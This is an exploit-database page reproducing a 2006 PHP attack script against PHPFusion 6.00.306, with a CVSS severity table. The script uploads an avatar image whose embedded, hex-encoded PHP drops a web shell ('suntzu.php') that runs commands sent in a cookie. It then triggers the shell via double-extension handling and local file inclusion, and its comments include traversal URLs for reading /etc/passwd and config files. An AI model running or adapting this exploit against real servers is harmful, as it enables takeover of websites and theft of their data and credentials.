PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload & local inclusion vulnerabilities
CVE
Category
Price
Severity
N/A
CWE-200
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2006-05-13
CPE
cpe:cpe:/a:phpfusion:phpfusion:6.00.306
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006050070 Below is a copy:#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPFusion <= v6.00.306 avatar mod_mime arbitrary file upload &rn";
echo "local inclusion vulnerabilitiesrn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrnrn";
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to PHPFusionrn";
echo "cmd: a shell commandrn";
echo "user/pass: you need a valid user account to upload an avatarrn";
echo "Options:rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /phpfusion/ your_username password cat ./../../config.phprn";
echo "php ".$argv[0]." localhost /phpfusion/ your_username password ls -la -p81rn";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80rnrn";
die;
}
/* explaination:
software site: http://www.php-fusion.co.uk/
description: "a light-weight open-source content management system (CMS)
written in PHP. It utilises a mySQL database to store your site content and
includes a simple, comprehensive adminstration system."
tested versions: PHPFusion v6.00.306
PHPFusion v6.00.207
PHPFusion v6.00.110
i) vulnerable code in includes/update_profile_include.php at lines 69-90:
...
$newavatar = $_FILES['user_avatar'];
if ($userdata['user_avatar'] == "" && !empty($newavatar['name']) && is_uploaded_file($newavatar['tmp_name'])) {
if (preg_match("/^[-0-9A-Z_.[]]+$/i", $newavatar['name']) && $newavatar['size'] <= 30720) {
$avatarext = strrchr($newavatar['name'],".");
if (eregi(".gif", $avatarext) || eregi(".jpg", $avatarext) || eregi(".png", $avatarext)) {
$avatarname = substr($newavatar['name'], 0, strrpos($newavatar['name'], "."));
$avatarname = $avatarname."[".$userdata['user_id']."]".$avatarext;
$set_avatar = "user_avatar='$avatarname', ";
move_uploaded_file($newavatar['tmp_name'], IMAGES."avatars/".$avatarname);
chmod(IMAGES."avatars/".$avatarname,0644);
if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
if ($size['0'] > 100 || $size['1'] > 100) {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";
}
} else {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";
}
}
}
}
...
A remote user can upload a malicious avatar with multiple extensions,
(ex.: .php.php.gif-fakechars-) and with php code inside as EXIF metadata
content.
It seems that Apache mod_mime module considers double-extension files like
file.php.gif[somefakechars] to be valid PHP files and runs the arbitrary
code that has been uploaded. Actually I can't say which Apache versions, this
was tested against Apache/1.3.27 with PHP/4.3.3
A note: file is renamed like this
.php.php[user_id].gif-fakechars-
ii) vulnerable code in infusions/last_seen_users_panel/last_seen_users_panel.php
at lines 12-16:
...
if (file_exists(INFUSIONS."last_seen_users_panel/locale/".$settings['locale
'].".php")) {
include INFUSIONS."last_seen_users_panel/locale/".$settings['locale'].".php";
} else {
include INFUSIONS."last_seen_users_panel/locale/English.php";
}
...
$settings['locale'] var is not properly sanitized before to be used to
include files so, if register_globals=on & magic_quotes_gpc=Off,
you can include local resources, poc:
http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_pa
nel.php?settings[locale]=../../../../../../../../../etc/passw%00
http://[target]/[path]infusions/last_seen_users_panel/last_seen_users_pa
nel.php?cmd=ls%20-la&settings[locale]=../../../../images/avatars/suntzu[
1].jpg%00
A note: if INFUSIONS constant is not defined, PHP will assume it as it is,
as "INFUSIONS" string. On some system , no matters if "INFUSIONSlast_seen_users_panel/locale/........"
path does not exist, you will go up from the non-existent dir of exactly four
dirs to include the malicious avatar.
This works against on 6.00.306
iii) vulnerable code in setup.php at lines 14-15:
...
$localeset = (isset($_GET['localeset']) ? $_GET['localeset'] : "English");
include "locale/".$localeset."/setup.php";
...
if this script is not deleted after installation, if magic_quotes_gpc=Off,
you can include files from locale resources, poc:
http://[target]/[path]/setup.php?localeset=../../../../../../../../../..
/etc/passwd%00
http://[target]/[path]/setup.php?cmd=ls%20-la&localeset=../images/avatar
s/suntzu[1].jpg%00
this tool tries to exploit all theese vulnerabilities, you need a valid user
account to upload avatars
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function sendpacketiii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
fclose($ock);
#debug
#echo "rn".$html;
}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$cmd="";$port=80;$proxy="";
for ($i=5; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$mypaths= array (
'images/avatars/',
'',
'infusions/last_seen_users_panel/'
);
echo "step 0 -> Check if suntzu.php is already installed...rn";
for ($i=0; $i<=count($mypaths)-1; $i++)
{
$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"56789"))
{
echo "Exploit succeeded...";
$temp=explode("56789",$html);
die("rn".$temp[1]."rn");
}
}
echo "step 1 -> login...rn";
$data ="user_name=".urlencode(trim($username));
$data.="&user_pass=".urlencode(trim($pass));
$data.="&login=Login";
$packet="POST ".$p."news.php HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*rn";
$packet.="Referer: http://".$host.$path."news.phprn";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Keep-Alivern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo 'Your cookie: '.$cookie."rn";
$temp=explode("fusion_user=",$cookie);
$temp2=explode(".",$temp[1]);
$user_id=trim($temp2[0]);
echo 'Your user id: '.$user_id."rn";
echo "step 2 -> upload a malicious avatar with php code inside...rn";
$avatar=".php.php.gif-fakechars-";
$shell=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).ch
r(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).ch
r(0x70).
chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).ch
r(0x22).
chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).ch
r(0x70).
chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).ch
r(0x29).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).ch
r(0x73).
chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).ch
r(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).ch
r(0x6f).
chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).ch
r(0x74).
chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x73).
chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).ch
r(0x5f).
chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).ch
r(0x29).
chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).ch
r(0x74).
chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).ch
r(0x71).
chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).ch
r(0x70).
chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).ch
r(0x24).
chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).ch
r(0x5b).
chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).ch
r(0x72).
chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).ch
r(0x65).
chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).ch
r(0x4f).
chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).ch
r(0x5d).
chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).ch
r(0x20).
chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).ch
r(0x61).
chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).ch
r(0x5c).
chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).ch
r(0x45).
chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x65).
chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).ch
r(0x38).
chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).ch
r(0x0d).
chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).ch
r(0x28).
chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x63).
chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).ch
r(0x75).
chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).ch
r(0x70).
chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).ch
r(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x08).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).
chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).ch
r(0x00).
chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).ch
r(0x03).
chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).ch
r(0x3f).
chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).ch
r(0x00);
/*
this image has this code inside as EXIF metadata content
<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo 56789;passthru($_COOKIE[cmd]);echo 56789;?>");
fclose($fp);
chmod("suntzu.php",777);
?>
*/
$data='-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_name"
'.$username.'
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_newpassword"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_newpassword2"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_email"
succcccccp (at) hotmail (dot) com [email concealed]
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_hide_email"
1
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_location"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_month"
--
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_day"
--
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_year"
----
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_aim"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_icq"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_msn"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_yahoo"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_web"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_theme"
Default
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_offset"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_avatar"; filename="'.$avatar.'"
Content-Type: application/octet-stream
'.$shell.'
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_sig"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_hash"
'.md5($pass).'
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="update_profile"
Update Profile
-----------------------------7d6ee3a7074a--
';
$packet ="POST ".$p."edit_profile.php? HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Referer: http://".$host.$path."edit_profile.phprn";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074arn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Keep-Alivern";
$packet.="Cookie: fusion_visited=yes; ".$cookie." PHPSESSID=44ab49664b56b97036425427b1ffb8cfrn";
$packet.="Cache-Control: no-cachernrn";
$packet.=$data;
sendpacketiii($packet);
echo "step 3 -> try to launch code inside image before has chmod()...rn";
for ($i=0; $i<=9; $i++)
{
$packet ="GET ".$p."images/avatars/.php.php[".$user_id."].gif-fakechars- HTTP/1.1rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
}
echo "step 3b -> try to include through last_seen_users_panel.phprn";
//works with register_globals=on & magic_quotes_gpc=off
$xpl=urlencode("../../../../images/avatars/.php.php[".$user_id."].gif-fa
kechars-".chr(0x00));
$packet ="GET ".$p."infusions/last_seen_users_panel/last_seen_users_panel.php?settings
[locale]=$xpl HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
echo "step 3c -> try to include through setup.php scriptrn";
//works with magic_quotes_gpc=off
$xpl=urlencode("../images/avatars/.php.php[".$user_id."].gif-fakechars-"
.chr(0x00));
$packet ="GET ".$p."setup.php?localeset=$xpl HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
echo "step 4 -> delete avatar...rn";
$data='-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_name"
'.$username.'
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_newpassword"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_newpassword2"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_email"
whattttt (at) hotmail (dot) com [email concealed]
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_hide_email"
1
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_location"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_month"
--
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_day"
--
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_year"
----
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_aim"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_icq"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_msn"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_yahoo"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_web"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_theme"
Default
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_offset"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_avatar"; filename="whatever"
Content-Type: application/octet-stream
what
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_sig"
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="user_hash"
'.md5($pass).'
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="update_profile"
Update Profile
-----------------------------7d6ee3a7074a
Content-Disposition: form-data; name="del_avatar"
y
-----------------------------7d6ee3a7074a--
';
$packet ="POST ".$p."edit_profile.php HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Referer: http://".$host.$path."edit_profile.phprn";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074arn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Keep-Alivern";
$packet.="Cookie: fusion_visited=yes; ".$cookie." PHPSESSID=44ab49664b56b97036425427b1ffb8cfrn";
$packet.="Cache-Control: no-cachernrn";
$packet.=$data;
sendpacketii($packet);
echo "step 5 -> launch commands...rn";
for ($i=0; $i<=count($mypaths)-1; $i++)
{
$packet ="GET ".$p.$mypaths[$i]."suntzu.php HTTP/1.0rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd.";rn";
$packet.="Connection: Closernrn";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"56789"))
{
echo "Exploit succeeded...";
$temp=explode("56789",$html);
die("rn".$temp[1]."rn");
}
}
//if you are here...
echo "rnExploit failed...";
?>
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum